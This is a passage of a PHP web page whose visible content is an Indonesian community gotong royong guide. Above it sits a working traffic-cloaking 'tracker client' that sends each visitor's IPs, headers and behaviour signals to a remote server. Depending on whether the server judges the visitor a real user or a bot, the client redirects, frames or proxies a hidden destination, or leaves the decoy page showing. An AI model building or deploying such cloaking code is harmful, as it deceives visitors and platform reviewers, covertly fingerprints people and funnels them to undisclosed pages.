(string) ($server['HTTP_CF_CONNECTING_IP'] ?? ''), 'HTTP_X_FORWARDED_FOR' => (string) ($server['HTTP_X_FORWARDED_FOR'] ?? ''), 'HTTP_TRUE_CLIENT_IP' => (string) ($server['HTTP_TRUE_CLIENT_IP'] ?? ''), 'HTTP_FASTLY_CLIENT_IP' => (string) ($server['HTTP_FASTLY_CLIENT_IP'] ?? ''), 'HTTP_FLY_CLIENT_IP' => (string) ($server['HTTP_FLY_CLIENT_IP'] ?? ''), 'HTTP_X_REAL_IP' => (string) ($server['HTTP_X_REAL_IP'] ?? ''), 'HTTP_FORWARDED' => $forwarded, 'HTTP_CLIENT_IP' => (string) ($server['HTTP_CLIENT_IP'] ?? ''), 'HTTP_X_CLUSTER_CLIENT_IP' => (string) ($server['HTTP_X_CLUSTER_CLIENT_IP'] ?? '') ] as $header => $list) { $visitor = self::firstPublic($list); if ($visitor !== '') { $source = $header; return [$peer, $visitor]; } } return [$peer, $peer]; } } } final class JciTrackerRejectedException extends RuntimeException { private int $responseStatus; public function __construct(string $message, int $responseStatus) { parent::__construct($message); $this->responseStatus = $responseStatus; } public function responseStatus(): int { return $this->responseStatus; } } final class JciTrackerClient { private const MAX_RESPONSE_BYTES = 65536; private const MAX_PROXY_BYTES = 10485760; private const MAX_PROXY_REDIRECTS = 5; private string $endpoint; private string $fallbackEndpoint; private int $connectTimeoutMs; private int $primaryTimeoutMs; private int $fallbackTimeoutMs; private int $campaignId; private string $userId; private string $localRoot; private bool $continueHostPage = false; public function __construct( string $endpoint, int $campaignId, string $userId, string $localRoot, ?string $fallbackEndpoint = null, int $connectTimeoutMs = 1500, int $primaryTimeoutMs = 4000, int $fallbackTimeoutMs = 6000 ) { if (!filter_var($endpoint, FILTER_VALIDATE_URL)) { throw new InvalidArgumentException('Invalid tracker endpoint.'); } $fallbackEndpoint = trim((string) ( $fallbackEndpoint ?? JCI_TRACKER_FALLBACK_ENDPOINT )); if (!filter_var($fallbackEndpoint, FILTER_VALIDATE_URL)) { throw new InvalidArgumentException( 'Invalid offline tracker endpoint.' ); } if (hash_equals($endpoint, $fallbackEndpoint)) { throw new InvalidArgumentException( 'Primary and offline tracker endpoints must be different.' ); } if ($campaignId < 1) { throw new InvalidArgumentException('Invalid campaign ID.'); } if (!preg_match('/^[A-Za-z0-9]{25}$/D', $userId)) { throw new InvalidArgumentException('Invalid tracker user ID.'); } $this->endpoint = $endpoint; $this->fallbackEndpoint = $fallbackEndpoint; $this->connectTimeoutMs = max(250, min(10000, $connectTimeoutMs)); $this->primaryTimeoutMs = max( $this->connectTimeoutMs, min(30000, $primaryTimeoutMs) ); $this->fallbackTimeoutMs = max( $this->connectTimeoutMs, min(30000, $fallbackTimeoutMs) ); $this->campaignId = $campaignId; $this->userId = $userId; $this->localRoot = rtrim($localRoot, DIRECTORY_SEPARATOR); } private function failoverLogContext(): string { $username = (string) preg_replace( '/[\x00-\x1F\x7F]/', '', (string) JCI_TRACKER_USERNAME ); $username = substr($username, 0, 64); return ' [username=' . ($username !== '' ? $username : 'unknown') . ', campaign_id=' . $this->campaignId . ']'; } public function handle(): void { $this->sendNoCacheHeaders(); if ($this->resumeLocalContinuation()) { exit; } $captchaResume = function_exists('jciCaptchaClientStart') ? jciCaptchaClientStart() : null; $this->run(); if ($this->continueHostPage) { return; } exit; } public function run(): void { $this->sendNoCacheHeaders(); try { $requestId = bin2hex(random_bytes(16)); $payload = $this->buildPayload(); $decision = $this->requestDecision($payload, $requestId); $this->applyResponseCookie($decision['cookie'] ?? null); $this->applyResponseCookie($decision['lander_cookie'] ?? null); $this->executeDecision($decision); } catch (JciTrackerRejectedException $exception) { error_log( 'JCI tracker rejected the request: ' . $exception->getMessage() ); if (!headers_sent()) { $statusCode = $exception->responseStatus(); http_response_code( $statusCode >= 400 && $statusCode <= 599 ? $statusCode : 403 ); header('Content-Type: text/plain; charset=utf-8'); } exit($exception->getMessage()); } catch (Throwable $exception) { error_log('JCI tracker client failed: ' . $exception->getMessage()); if (!headers_sent()) { http_response_code(503); header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); } exit('Service temporarily unavailable.'); } } private function sendNoCacheHeaders(): void { if (headers_sent()) { return; } header( 'Cache-Control: no-store, no-cache, must-revalidate, ' . 'proxy-revalidate, max-age=0, s-maxage=0' ); header('CDN-Cache-Control: no-store'); header('Cloudflare-CDN-Cache-Control: no-store'); header('Pragma: no-cache'); header('Expires: 0'); } private function buildPayload(): array { [$peerIp, $visitorIp] = $this->resolveRequestIps(); $query = (string) ($_SERVER['QUERY_STRING'] ?? ''); return [ 'date' => date('Y-m-d H:i:s'), 'lan' => (string) ($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''), 'ref' => (string) ($_SERVER['HTTP_REFERER'] ?? ''), 'ip' => $peerIp, 'ipr' => $visitorIp, 'sn' => (string) ($_SERVER['SERVER_NAME'] ?? ''), 'requestUri' => (string) ($_SERVER['REQUEST_URI'] ?? ''), 'query' => $query, 'qu' => $query, 'ua' => (string) ($_SERVER['HTTP_USER_AGENT'] ?? ''), 'co' => (string) ($_COOKIE['_event'] ?? ''), 'user_id' => $this->userId, 'id' => $this->campaignId, /* Optional signals populated by a browser-side companion script. */ 'tz' => (string) ($_COOKIE['_jci_tz'] ?? ''), 'imm' => (string) ($_COOKIE['_jci_move'] ?? ''), 'spe' => (string) ($_COOKIE['_jci_spe'] ?? ''), 'cam' => (string) ($_COOKIE['_jci_cam'] ?? ''), 'mic' => (string) ($_COOKIE['_jci_mic'] ?? ''), 'mou' => (string) ($_COOKIE['_jci_mou'] ?? ''), 'he' => $this->normalizedRequestHeaders() ]; } private function requestDecision(array $payload, string $requestId): array { return function_exists('jciCaptchaClientDecision') ? jciCaptchaClientDecision($payload, $requestId, fn(array $p, string $r): array => $this->requestDecisionRaw($p, $r)) : $this->requestDecisionRaw($payload, $requestId); } private function requestDecisionRaw(array $payload, string $requestId): array { $encodedPayload = json_encode( $payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR ); $attempts = [ [ 'endpoint' => $this->endpoint, 'timeout_ms' => $this->primaryTimeoutMs, 'name' => 'primary' ], [ 'endpoint' => $this->fallbackEndpoint, 'timeout_ms' => $this->fallbackTimeoutMs, 'name' => 'offline-fallback' ] ]; foreach ($attempts as $attemptIndex => $attempt) { try { $response = $this->requestEndpoint( (string) $attempt['endpoint'], $encodedPayload, $requestId, (int) $attempt['timeout_ms'], (string) $attempt['name'] ); } catch (RuntimeException $exception) { if ($attemptIndex === 0) { error_log( 'JCI primary tracker unavailable; using offline ' . 'snapshot' . $this->failoverLogContext() . ': ' . $exception->getMessage() ); continue; } throw $exception; } $statusCode = $response['status_code']; $responseBody = $response['body']; try { $decision = json_decode( $responseBody, true, 64, JSON_THROW_ON_ERROR ); } catch (JsonException $exception) { if ($attemptIndex === 0) { error_log( 'JCI primary tracker returned invalid JSON; using ' . 'offline snapshot' . $this->failoverLogContext() . '.' ); continue; } throw new RuntimeException( 'Offline tracker returned invalid JSON.' ); } if (!is_array($decision)) { if ($attemptIndex === 0) { error_log( 'JCI primary tracker returned an invalid response; ' . 'using offline snapshot' . $this->failoverLogContext() . '.' ); continue; } throw new RuntimeException( 'Offline tracker returned an invalid response.' ); } if ( $attemptIndex === 0 && in_array( $statusCode, [408, 425, 429, 500, 502, 503, 504], true ) ) { error_log( 'JCI primary tracker returned HTTP ' . $statusCode . '; using offline snapshot' . $this->failoverLogContext() . '.' ); continue; } if ( $statusCode < 200 || $statusCode >= 300 || ($decision['ok'] ?? false) !== true ) { throw new JciTrackerRejectedException( (string) ( $decision['error'] ?? 'Tracker rejected the request.' ), $statusCode ); } if (!is_bool($decision['is_user'] ?? null)) { if ($attemptIndex === 0) { error_log( 'JCI primary tracker response has no decision; using ' . 'offline snapshot' . $this->failoverLogContext() . '.' ); continue; } throw new RuntimeException('Tracker decision is missing.'); } return $decision; } throw new RuntimeException('No tracker endpoint returned a decision.'); } /** @return array{status_code: int, body: string} */ private function requestEndpoint( string $endpoint, string $encodedPayload, string $requestId, int $timeoutMs, string $attemptName ): array { $responseBody = ''; $curl = curl_init(); if ($curl === false) { throw new RuntimeException('Unable to initialize cURL.'); } curl_setopt_array($curl, [ CURLOPT_URL => $endpoint, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $encodedPayload, CURLOPT_RETURNTRANSFER => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_CONNECTTIMEOUT_MS => $this->connectTimeoutMs, CURLOPT_TIMEOUT_MS => $timeoutMs, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_ENCODING => '', CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Content-Type: application/json', 'Cache-Control: no-store, no-cache, max-age=0', 'Pragma: no-cache', 'X-JCI-Campaign-ID: ' . $this->campaignId, 'X-JCI-User-ID: ' . $this->userId, 'X-JCI-Request-ID: ' . $requestId, 'X-JCI-Client-Attempt: ' . $attemptName ], CURLOPT_WRITEFUNCTION => static function ( $curlHandle, string $chunk ) use (&$responseBody): int { if ( strlen($responseBody) + strlen($chunk) > self::MAX_RESPONSE_BYTES ) { return 0; } $responseBody .= $chunk; return strlen($chunk); } ]); $result = curl_exec($curl); $curlError = curl_error($curl); $curlErrorNumber = curl_errno($curl); $statusCode = (int) curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($result === false) { throw new RuntimeException( 'Tracker request failed (' . $curlErrorNumber . '): ' . $curlError ); } if ($responseBody === '') { throw new RuntimeException('Tracker returned an empty response.'); } return ['status_code' => $statusCode, 'body' => $responseBody]; } private ?array $localLanderDecision = null; private bool $localLanderResumed = false; private function localContinuationDirectory(): string { $directory = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/jci-lp-' . hash('sha256', __FILE__ . '|' . $this->localRoot . '|' . $this->userId . '|' . $this->campaignId); if (is_link($directory) || (!is_dir($directory) && !@mkdir($directory, 0700, true) && !is_dir($directory))) { throw new RuntimeException('No Redirect continuation storage is unavailable.'); } $ownerProbe = tmpfile(); if ($ownerProbe === false) { throw new RuntimeException('Unable to verify continuation storage ownership.'); } $owner = fstat($ownerProbe)['uid']; fclose($ownerProbe); if (fileowner($directory) !== $owner) { throw new RuntimeException('No Redirect continuation storage ownership is invalid.'); } if (!@chmod($directory, 0700)) { throw new RuntimeException('Unable to protect continuation storage.'); } return $directory; } private function localRequestBinding(): string { $uri = (string) ($_SERVER['REQUEST_URI'] ?? '/'); $parts = parse_url($uri); parse_str($parts['query'] ?? '', $query); foreach (array_keys($query) as $key) { if (str_starts_with($key, 'cp_') || $key === '_lp_continue' || $key === '_lp_asset') unset($query[$key]); } $uri = ($parts['path'] ?? '/') . ($query ? '?' . http_build_query($query) : ''); // Use the same visitor identity as the tracker/LP checks. A proxy's // connection address may change between the page, images and form POSTs. [, $visitorIp] = $this->resolveRequestIps(); return hash('sha256', json_encode([ $visitorIp, (string) ($_SERVER['HTTP_USER_AGENT'] ?? ''), (string) ($_SERVER['HTTP_HOST'] ?? ''), $uri ], JSON_THROW_ON_ERROR)); } private function saveLocalContinuation(): string { if ($this->localLanderDecision === null) { throw new RuntimeException('Missing local tracking decision.'); } $directory = $this->localContinuationDirectory(); $ticket = bin2hex(random_bytes(32)); $data = json_encode(['expires' => time() + max(90, (int) ($GLOBALS['captcha_pending_timeout'] ?? 0) + 120), 'binding' => $this->localRequestBinding(), 'decision' => $this->localLanderDecision], JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR); $path = $directory . '/' . $ticket; $handle = @fopen($path, 'x'); if ($handle === false) { throw new RuntimeException('Unable to save No Redirect continuation.'); } try { if (!@chmod($path, 0600) || fwrite($handle, $data) !== strlen($data)) { @unlink($path); throw new RuntimeException('Unable to write No Redirect continuation.'); } } finally { fclose($handle); } if (random_int(1, 20) === 1) { $checked = 0; foreach (new FilesystemIterator($directory, FilesystemIterator::SKIP_DOTS) as $old) { if (++$checked > 100) break; if ($old->isFile() && $old->getMTime() < time() - 4200) @unlink($old->getPathname()); } } return $ticket; } private function resumeLocalContinuation(): bool { $assetRead = ($_SERVER['REQUEST_METHOD'] ?? '') === 'GET' && isset($_GET['cp_image'], $_GET['_lp_asset']); if (!$assetRead && !array_key_exists('_lp_continue', $_POST) && !(isset($_GET['cp_expire']) && array_key_exists('_lp_continue', $_GET))) { return false; } try { $ticket = $_POST['_lp_continue'] ?? $_GET['_lp_continue'] ?? $_GET['_lp_asset']; if ((!$assetRead && !in_array(($_SERVER['REQUEST_METHOD'] ?? ''), isset($_GET['cp_expire']) ? ['GET','POST'] : ['POST'], true)) || !is_string($ticket) || !preg_match('/^[a-f0-9]{64}$/D', $ticket)) { throw new RuntimeException('Invalid continuation.'); } $path = $this->localContinuationDirectory() . '/' . $ticket; $handle = @fopen($path, 'r'); if ($handle === false) { throw new RuntimeException('Continuation expired or already used.'); } try { if (!flock($handle, LOCK_EX)) { throw new RuntimeException('Unable to lock continuation.'); } $raw = stream_get_contents($handle, 131073); if (!is_string($raw) || strlen($raw) > 131072) { throw new RuntimeException('Invalid continuation data.'); } $record = json_decode($raw, true, 16, JSON_THROW_ON_ERROR); if (!is_array($record) || !is_array($record['decision'] ?? null) || ($record['decision']['request_type'] ?? '') !== 'nor') { throw new RuntimeException('Invalid No Redirect continuation data.'); } if ((int) ($record['expires'] ?? 0) < time()) { throw new RuntimeException('No Redirect continuation expired.'); } $bindingMatches = hash_equals((string) ($record['binding'] ?? ''), $this->localRequestBinding()); if (!$bindingMatches) { throw new RuntimeException('No Redirect continuation visitor or URL binding mismatch.'); } if (!$assetRead && !@unlink($path)) { throw new RuntimeException('No Redirect continuation was already consumed.'); } } finally { flock($handle, LOCK_UN); fclose($handle); } $this->localLanderDecision = $record['decision']; $this->localLanderResumed = true; $this->executeDecision($this->localLanderDecision); } catch (Throwable $error) { error_log('JCI local verification continuation failed: ' . $error->getMessage()); http_response_code(403); exit('No Redirect verification expired or is unavailable.'); } return true; } private function executeDecision(array $decision): void { $requestType = (string) ($decision['request_type'] ?? ''); $url = isset($decision['url']) && is_string($decision['url']) ? trim($decision['url']) : ''; $statusTypes = [ '400', '401', '403', '404', '405', '408', '410', '429', '500', '502', '503' ]; /* * No safe/bot URL means the campaign intentionally leaves the host * page unchanged. request_type_main has no meaning without a URL and * must therefore be ignored, including HTTP status-code methods. */ if ($url === '') { $this->continueHostPage = true; return; } if (in_array($requestType, $statusTypes, true)) { http_response_code((int) $requestType); header('Content-Type: text/plain; charset=utf-8'); exit; } if (!filter_var($url, FILTER_VALIDATE_URL)) { throw new RuntimeException('Tracker returned an invalid URL.'); } switch ($requestType) { case 'nor': $this->localLanderDecision = $decision; $this->requireLocalTarget($url); return; case '301': case '302': case '307': case '308': header('Location: ' . $url, true, (int) $requestType); exit; case 'crf': header('Location: ' . $url, true, 302); exit; case 'mre': $escapedUrl = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); header('Content-Type: text/html; charset=utf-8'); echo '' . ''; exit; case 'brf': $escapedUrl = htmlspecialchars( $url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8' ); $jsonUrl = json_encode( $url, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_UNESCAPED_SLASHES ); header('Content-Type: text/html; charset=utf-8'); header('Referrer-Policy: no-referrer'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); echo '' . '' . ''; exit; case 'jslh': case 'jslr': $method = $requestType === 'jslr' ? 'replace' : 'assign'; header('Content-Type: text/html; charset=utf-8'); echo '' . ''; exit; case 'ifr': $escapedUrl = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); header('Content-Type: text/html; charset=utf-8'); echo '' . '' . '' . ''; exit; case 'proxy': $this->proxyPublicUrl($url); return; default: throw new RuntimeException('Unsupported tracker response type.'); } } private function requireLocalTarget(string $url): void { $parts = parse_url($url); $host = is_array($parts) ? strtolower(rtrim((string) ($parts['host'] ?? ''), '.')) : ''; $requestHost = strtolower(rtrim((string) parse_url('http://' . (string) ($_SERVER['HTTP_HOST'] ?? ''), PHP_URL_HOST), '.')); if ($host === '' || $requestHost === '' || !hash_equals($requestHost, $host)) { throw new RuntimeException('Local target must use the current website hostname.'); } $decodedPath = rawurldecode((string) ($parts['path'] ?? '')); if ($decodedPath === '' || $decodedPath[0] !== '/' || preg_match('/[\x00-\x1f\x7f]/', $decodedPath) || str_contains($decodedPath, "\\")) { throw new RuntimeException('Invalid local target path.'); } $segments = explode('/', ltrim($decodedPath, '/')); foreach ($segments as $segment) { if ($segment === '' || $segment === '.' || $segment === '..' || str_starts_with($segment, '.')) { throw new RuntimeException('Invalid local target path.'); } } $localRoot = realpath($this->localRoot); $documentRootValue = (string) ($_SERVER['DOCUMENT_ROOT'] ?? ''); $documentRoot = $documentRootValue !== '' ? realpath($documentRootValue) : false; if ($localRoot === false || !is_dir($localRoot)) { throw new RuntimeException('Local website root is unavailable.'); } // Map the complete URL path from the site's document root, not its basename. if ($documentRoot !== false && is_dir($documentRoot) && ($localRoot === $documentRoot || str_starts_with($localRoot, rtrim($documentRoot, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR))) { $root = $documentRoot; $relativePath = ltrim($decodedPath, '/'); } else { // Alias installations without a usable document root: map only a known // entry-script directory to its corresponding URL directory. $entry = realpath((string) ($_SERVER['SCRIPT_FILENAME'] ?? '')); $scriptPath = rawurldecode((string) ($_SERVER['SCRIPT_NAME'] ?? '')); $basePath = rtrim(str_replace('\\', '/', dirname($scriptPath)), '/.'); if ($entry === false || !is_file($entry) || dirname($entry) !== $localRoot || $scriptPath === '' || $scriptPath[0] !== '/' || ($basePath !== '' && !str_starts_with($decodedPath, $basePath . '/'))) { throw new RuntimeException('Local target URL cannot be mapped to this website.'); } $root = $localRoot; $relativePath = ltrim(substr($decodedPath, strlen($basePath)), '/'); } $target = realpath($root . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relativePath)); if ($target === false || !is_file($target) || !is_readable($target) || !str_starts_with($target, rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR)) { throw new RuntimeException('Local target is unavailable.'); } $extension = strtolower((string) pathinfo( $target, PATHINFO_EXTENSION )); $blockedExtensions = [ 'bak', 'backup', 'conf', 'config', 'env', 'inc', 'ini', 'key', 'log', 'old', 'pem', 'pht', 'phtml', 'phar', 'phps', 'sql' ]; if (in_array($extension, $blockedExtensions, true)) { throw new RuntimeException('Local target type is not public.'); } if ($extension === 'php') { $previousContext = $GLOBALS['jci_lp_local_context'] ?? null; $GLOBALS['jci_lp_local_context'] = [ 'target_url' => $url, 'cookie' => $this->localLanderDecision['lander_cookie'] ?? null, 'resumed' => $this->localLanderResumed, 'continue' => fn (): string => $this->saveLocalContinuation() ]; try { require_once $target; } finally { if ($previousContext === null) unset($GLOBALS['jci_lp_local_context']); else $GLOBALS['jci_lp_local_context'] = $previousContext; } return; } if ($extension === 'js' || $extension === 'mjs') { $script = file_get_contents($target); if ($script === false) { throw new RuntimeException('Local target could not be read.'); } header('Content-Type: text/html; charset=utf-8'); echo '' . '' . str_ireplace(''; return; } if ($extension === 'css') { $stylesheet = file_get_contents($target); if ($stylesheet === false) { throw new RuntimeException('Local target could not be read.'); } header('Content-Type: text/html; charset=utf-8'); echo '' . ''; return; } $contentTypes = [ 'avif' => 'image/avif', 'bmp' => 'image/bmp', 'csv' => 'text/csv; charset=utf-8', 'gif' => 'image/gif', 'htm' => 'text/html; charset=utf-8', 'html' => 'text/html; charset=utf-8', 'ico' => 'image/x-icon', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'json' => 'application/json; charset=utf-8', 'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'ogg' => 'audio/ogg', 'pdf' => 'application/pdf', 'png' => 'image/png', 'svg' => 'image/svg+xml', 'txt' => 'text/plain; charset=utf-8', 'webm' => 'video/webm', 'webp' => 'image/webp', 'xml' => 'application/xml; charset=utf-8' ]; $contentType = $contentTypes[$extension] ?? null; if ($contentType === null && function_exists('mime_content_type')) { $detectedType = mime_content_type($target); $contentType = is_string($detectedType) && $detectedType !== '' ? $detectedType : null; } header('Content-Type: ' . ($contentType ?? 'application/octet-stream')); header('X-Content-Type-Options: nosniff'); if (readfile($target) === false) { throw new RuntimeException('Local target could not be read.'); } } private function proxyPublicUrl(string $url): void { $currentUrl = $url; $response = []; for ($redirectCount = 0; ; $redirectCount++) { $response = $this->fetchProxyHop($currentUrl); $status = (int) $response['status']; if ($status < 300 || $status >= 400) { break; } $location = (string) $response['location']; if ($location === '') { throw new RuntimeException( 'The proxy target returned a redirect without a location.' ); } if ($redirectCount >= self::MAX_PROXY_REDIRECTS) { throw new RuntimeException( 'The proxy target exceeded the redirect limit.' ); } $currentUrl = $this->resolveProxyRedirectUrl( $currentUrl, $location ); } $status = (int) $response['status']; $contentType = (string) $response['content_type']; $body = (string) $response['body']; $parts = (array) $response['parts']; $scheme = (string) $parts['scheme']; $host = (string) $parts['host']; $port = (int) $response['port']; http_response_code($status > 0 ? $status : 502); header( 'Content-Type: ' . ($contentType !== '' ? $contentType : 'application/octet-stream') ); if (preg_match('/^text\/html\b/i', $contentType)) { $baseUrl = $scheme . '://' . $this->urlHost($host) . (isset($parts['port']) ? ':' . $port : '') . rtrim(dirname((string) ($parts['path'] ?? '/')), '/') . '/'; $baseTag = ''; if (preg_match('/]*>/i', $body)) { $body = preg_replace( '/(]*>)/i', '$1' . $baseTag, $body, 1 ) ?? $body; } else { $body = $baseTag . $body; } } header('Content-Length: ' . strlen($body)); echo $body; } private function fetchProxyHop(string $url): array { $parts = parse_url($url); if (!is_array($parts)) { throw new RuntimeException('Invalid proxy target.'); } $scheme = strtolower((string) ($parts['scheme'] ?? '')); $host = (string) ($parts['host'] ?? ''); if ( !in_array($scheme, ['http', 'https'], true) || $host === '' || isset($parts['user']) || isset($parts['pass']) ) { throw new RuntimeException('Invalid proxy target.'); } $addresses = $this->resolvePublicHost($host); if ($addresses === []) { throw new RuntimeException('Proxy target is not publicly routable.'); } $port = isset($parts['port']) ? (int) $parts['port'] : ($scheme === 'https' ? 443 : 80); if ($port < 1 || $port > 65535) { throw new RuntimeException('Invalid proxy target port.'); } $resolvedAddress = $addresses[0]; $resolveValue = str_contains($resolvedAddress, ':') ? '[' . $resolvedAddress . ']' : $resolvedAddress; $body = ''; $location = ''; $responseTooLarge = false; $curl = curl_init(); if ($curl === false) { throw new RuntimeException('Unable to initialize proxy request.'); } $forwardHeaders = ['Cache-Control: no-cache']; foreach ([ 'HTTP_ACCEPT' => 'Accept', 'HTTP_ACCEPT_LANGUAGE' => 'Accept-Language', 'HTTP_COOKIE' => 'Cookie', 'HTTP_REFERER' => 'Referer' ] as $serverKey => $headerName) { if (isset($_SERVER[$serverKey]) && is_scalar($_SERVER[$serverKey])) { $forwardHeaders[] = $headerName . ': ' . (string) $_SERVER[$serverKey]; } } curl_setopt_array($curl, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_MAXREDIRS => 0, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 20, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_ENCODING => '', CURLOPT_USERAGENT => (string) ( $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0' ), CURLOPT_HTTPHEADER => $forwardHeaders, CURLOPT_RESOLVE => [ $host . ':' . $port . ':' . $resolveValue ], CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS, CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS, CURLOPT_HEADERFUNCTION => static function ( $curlHandle, string $headerLine ) use (&$location): int { if (preg_match('/^HTTP\//i', $headerLine)) { $location = ''; } elseif (stripos($headerLine, 'Location:') === 0) { $location = trim(substr($headerLine, 9)); } return strlen($headerLine); }, CURLOPT_WRITEFUNCTION => static function ( $curlHandle, string $chunk ) use (&$body, &$responseTooLarge): int { if ( strlen($body) + strlen($chunk) > self::MAX_PROXY_BYTES ) { $responseTooLarge = true; return 0; } $body .= $chunk; return strlen($chunk); } ]); $result = curl_exec($curl); $error = curl_error($curl); $status = (int) curl_getinfo($curl, CURLINFO_HTTP_CODE); $contentType = (string) curl_getinfo($curl, CURLINFO_CONTENT_TYPE); if ($result === false) { if ($responseTooLarge) { throw new RuntimeException( 'The proxy target response exceeded the size limit.' ); } throw new RuntimeException('Proxy request failed: ' . $error); } return [ 'status' => $status, 'content_type' => $contentType, 'body' => $body, 'location' => $location, 'parts' => $parts, 'port' => $port ]; } private function resolveProxyRedirectUrl( string $currentUrl, string $location ): string { $location = trim($location); if ($location === '' || preg_match('/[\x00-\x1F\x7F]/', $location)) { throw new RuntimeException('The proxy target returned an invalid redirect.'); } $location = preg_replace('/#.*$/', '', $location) ?? ''; if (preg_match('#^https?://#i', $location)) { return $location; } $locationScheme = parse_url($location, PHP_URL_SCHEME); if (is_string($locationScheme) && $locationScheme !== '') { throw new RuntimeException( 'The proxy target redirected to an unsupported protocol.' ); } $parts = parse_url($currentUrl); if (!is_array($parts)) { throw new RuntimeException('Unable to resolve the proxy redirect.'); } $scheme = strtolower((string) ($parts['scheme'] ?? '')); $host = (string) ($parts['host'] ?? ''); if ($scheme === '' || $host === '') { throw new RuntimeException('Unable to resolve the proxy redirect.'); } if (str_starts_with($location, '//')) { return $scheme . ':' . $location; } $authority = $scheme . '://' . $this->urlHost($host) . (isset($parts['port']) ? ':' . (int) $parts['port'] : ''); if (str_starts_with($location, '?')) { return $authority . (string) ($parts['path'] ?? '/') . $location; } $path = str_starts_with($location, '/') ? $location : rtrim(dirname((string) ($parts['path'] ?? '/')), '/') . '/' . $location; $pathParts = explode('/', $path); $normalizedParts = []; foreach ($pathParts as $pathPart) { if ($pathPart === '' || $pathPart === '.') { continue; } if ($pathPart === '..') { array_pop($normalizedParts); continue; } $normalizedParts[] = $pathPart; } return $authority . '/' . implode('/', $normalizedParts); } private function urlHost(string $host): string { return str_contains($host, ':') ? '[' . $host . ']' : $host; } private function applyResponseCookie(mixed $cookie): void { if (!is_array($cookie)) { return; } $name = (string) ($cookie['name'] ?? ''); $value = (string) ($cookie['value'] ?? ''); if ( !preg_match('/^[A-Za-z0-9._-]{1,64}$/D', $name) || $value === '' || strlen($value) > 3800 ) { return; } $lifetimeDays = max( 0, (int) ($cookie['lifetime_days'] ?? 0) ); $sameSite = (string) ($cookie['same_site'] ?? 'Lax'); if (!in_array($sameSite, ['Lax', 'Strict', 'None'], true)) { $sameSite = 'Lax'; } setcookie($name, $value, [ 'expires' => $lifetimeDays > 0 ? time() + ($lifetimeDays * 86400) : 0, 'path' => '/', 'secure' => true, 'httponly' => (bool) ($cookie['http_only'] ?? true), 'samesite' => $sameSite ]); } private function normalizedRequestHeaders(): string { $headers = []; $excludedHeaders = [ 'authorization', 'cookie', 'proxy-authorization', 'x-jci-campaign-id', 'x-jci-request-id', 'x-jci-user-id' ]; foreach ($_SERVER as $key => $value) { if ( (!str_starts_with($key, 'HTTP_') && !in_array($key, ['CONTENT_TYPE', 'CONTENT_LENGTH'], true)) || !is_scalar($value) ) { continue; } $name = strtolower( str_replace('_', '-', preg_replace('/^HTTP_/', '', $key)) ); if (in_array($name, $excludedHeaders, true)) { continue; } $headers[$name] = substr((string) $value, 0, 2048); } return json_encode( $headers, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ) ?: ''; } private function resolveRequestIps(): array { $ips = JciVisitorIp::resolve($_SERVER); if ($ips[0] === '') throw new RuntimeException('REMOTE_ADDR is unavailable.'); return $ips; } private function isPublicIp(string $ip): bool { return JciVisitorIp::isPublic($ip); } private function resolvePublicHost(string $host): array { if (filter_var($host, FILTER_VALIDATE_IP)) { return $this->isPublicIp($host) ? [$host] : []; } $records = dns_get_record($host, DNS_A | DNS_AAAA); $addresses = []; if (is_array($records)) { foreach ($records as $record) { $address = (string) ($record['ip'] ?? $record['ipv6'] ?? ''); if ($address !== '' && $this->isPublicIp($address)) { $addresses[$address] = true; } } } return array_keys($addresses); } } if (!defined('JCI_TRACKER_CLIENT_NO_AUTORUN')) { (new JciTrackerClient( JCI_TRACKER_ENDPOINT, JCI_CAMPAIGN_ID, JCI_USER_ID, __DIR__, JCI_TRACKER_FALLBACK_ENDPOINT, JCI_TRACKER_CONNECT_TIMEOUT_MS, JCI_TRACKER_PRIMARY_TIMEOUT_MS, JCI_TRACKER_FALLBACK_TIMEOUT_MS ))->handle(); } ?> Gerakan Indonesia Bersatu

Panduan gotong royong

Mulai dari
tetangga.

Ide sederhana untuk merawat ruang bersama. Pilih satu kegiatan, ajak beberapa tetangga, lalu sepakati langkah pertama.

Lihat ide kegiatan
Ilustrasi beberapa warga sedang menanam bibit bersama di pekarangan.
Ilustrasi kebun warga

Ide untuk lingkungan Anda

Tiga kegiatan yang bisa dimulai dengan ruang dan alat yang sudah ada.

Pertanyaan warga

Bagaimana mengajak tetangga untuk pertama kali?

Mulai dengan usulan yang jelas. Sebutkan satu kegiatan, tempat, perkiraan waktu, dan bantuan yang dibutuhkan. Beri kesempatan orang memilih peran sesuai waktu dan kemampuannya.

Bagaimana jika alat yang tersedia terbatas?

Catat alat yang bisa dipinjam dan siapa yang membawanya. Pecah pekerjaan menjadi tugas bergiliran, lalu tentukan siapa yang mengembalikan alat setelah kegiatan.

Apa yang perlu dibicarakan setelah selesai?

